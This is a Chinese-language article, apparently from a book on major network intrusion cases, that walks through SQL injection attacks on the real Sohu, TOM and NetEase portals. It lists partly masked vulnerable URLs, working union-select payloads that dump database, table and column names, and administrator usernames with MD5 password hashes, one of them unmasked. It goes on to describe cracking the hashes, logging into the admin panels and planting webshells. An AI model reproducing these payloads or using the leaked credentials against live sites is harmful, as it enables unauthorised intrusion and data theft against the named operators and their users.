笔者对搜狐及TOM和网易这三大门户网站作了注入攻击检测,发现同样存在明显的注入漏洞,安全性很糟糕。
1.MySQL注入检测搜狐门户网站
首先,来看看搜狐网站,搜狐网站上的动态网页大部分是采用PHP语言编写的,同样注入也很多。例如:
http://app.sh.sohu.com/lo***l/s.php?id=636
这个网页是一个欧莱雅广告页面,未对提交的数字参数进行检测,可直接利用SQL注入获得当前数据版本、库名、用户等信息。首先,通过Order by查询获得字段数目为9,然后通过union select查询可获得数据库的各种信息(图1):
http://app.sh.sohu.com/lo***l/s.php?id=636 and 1=2 union select 1,2,group_concat(user(),0x7C7C,version(),0x7C7C,database()),4,5,6,7,8,9
图1 搜狐网站SQL注入查询数据库信息
可得到当前数据库用户名为admin,数据库服务器地址为10.10.82.159,数据库版本为Mysql 5.0.27,当前数据库名为sohush。
再进一步检测,发现其中存在几个非常重要的数据库,包括:dvbbs、love008。前者是论坛数据库,后者是2008专题数据库。在论坛数据库中,可猜解出管理员账号和密码为:jim、4591b******ee2b5。在love008数据库中猜解出两个管理员用户和密码分别为(图2):
admin 21232f297a*****743894a0e4a801fc3
es 3e4a632cb*****8fc2386fa5f8e4bd76
图2 猜解出管理员账号与密码
虽然说管理员密码都是MD5加密的,不过现在网上有20G的彩虹表下载,破解这些普通密码MD5值并不是太困难的事情。通过后台登陆,攻击者可以想方设法上传WebShell并进行提权与进一步渗透入侵操作。
此外,在搜狐网站中还有非常多的SQL注入点,举例如下:
注入点1(图3):http://card.money.****.com/yh/card_product.php?id=71
注入点2:http://blog.club.****.com/list_diary_detail.php?artid=43761&db=blog002P4&kindid=3403
注入点3:http://blog.club.****.com/list_diary.php?db=blog001P3&kindid=529
注入点4:http://mini***.163.com/2009/0909/wuliangye/article.php?id=13
注入点5:http://blog.club.****.com/list_diary.php?db=blog001P3&kindid=529
注入点6:http://people.business.****.com/person/plist.php?userid=2047
注入点7:http://minisite.it.****.com/minisite/site849/photodetail1.jsp?corpID=849&status=browse&privCode=04&pictureID=57275
注入点8:http://zj.svip.****.com/news/2010/duanxindasai/item_list.php?category_id=1905
图3 搜狐注入点查询数据库信息
2.MySQL注入检测TOM门户网站
TOM也是国内一大门户网站,在对TOM门户网站进行检测的过程中,也发现了许多严重的SQL注入漏洞,而且危害性非常大,直接导致攻击者登陆后台上传木马获得WebShell,并进一步控制整个网站服务器!
TOM网站的注入点地址为:
http://qd**.tom.com/blog_content.php?blogid=482
直接用Order by进行查询时,会出错并跳转到网站首页,可使用--终止符号进行隔断处理,执行如下查询:
http://qd**.tom.com/blog_content.php?blogid=482 order by 14--
返回正常页面,得到字段数为14。再执行如下查询(图4):
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,group_concat(user(),0x7C7C,version(),0x7C7C,database()),4,5,6,7,8,9,10,11,12,13,14%20--
图4 union联合查询获得数据库相关信息
得到当前数据库版本、数据库名和用户。再爆出当前数据库中的所有表名,提交如下查询:
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(table_name),5,6,7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()--
图5 查询到所有表名
在页面返回信息中,即可得到所有表名(图5)。在其中有名为adminuser的表名,表中很可能包含了管理员账号及密码,查询该表中的列名,可提交如下查询:
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7,8,9,10,11,12,13,14 from information_schema.columns where table_name=(0x61646D696E75736572)--
图6 返回用户名及密码数据列
从页面返回信息中,可以看到用户名及密码列为username和pw(图6)。现在要爆出用户名和密码的数据值,提交如下查询语句:
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(username,0x7C,pw),5,6,7,8,9,10,11,12,13,14 from adminuser--
图7 获得管理员账号密码信息
从返回的页面信息中,可看到管理员用户名为qdjxlq,密码为3631137b9b0e47608c4ece9decc9a607(图7)。密码是经过MD5加密的32密文,破解并不是很困难。得到后台管理员账号密码后,再寻找后台登陆地址,得到后台登陆链接地址为(图8):
http://qd**.tom.com/admin/admin_login.php
图8 管理员后台登陆页面
登陆后台获得WebShell后,就可以进一步入侵控制服务器并进行渗透攻击。
3.MySQL注入检测网易门户网站
在对国内其它门户网站进行检测时发现,有许多网站也同样存在着SQL注入漏洞,例如在网易中存在如下注入点链接地址:
http://min****e.163.com/2009/0909/wuliangye/article.php?id=13
通过order by查询可得到字段数,再通过提交如下查询:
http://min****e.163.com/2009/0909/wuliangye/article.php?id=13%20and%201=2%20union%20select%201,database(),user(),version(),5,6,7,8
即可得到数据库版本、用户名和数据库名信息(图9)。由于数据库为Mysql 4.0版本,因此不能直接爆出数据表名,只有靠字典一个个进行猜解,猜解起来比较麻烦。
图9 网易注入点猜解示例
form:大中型网络入侵要案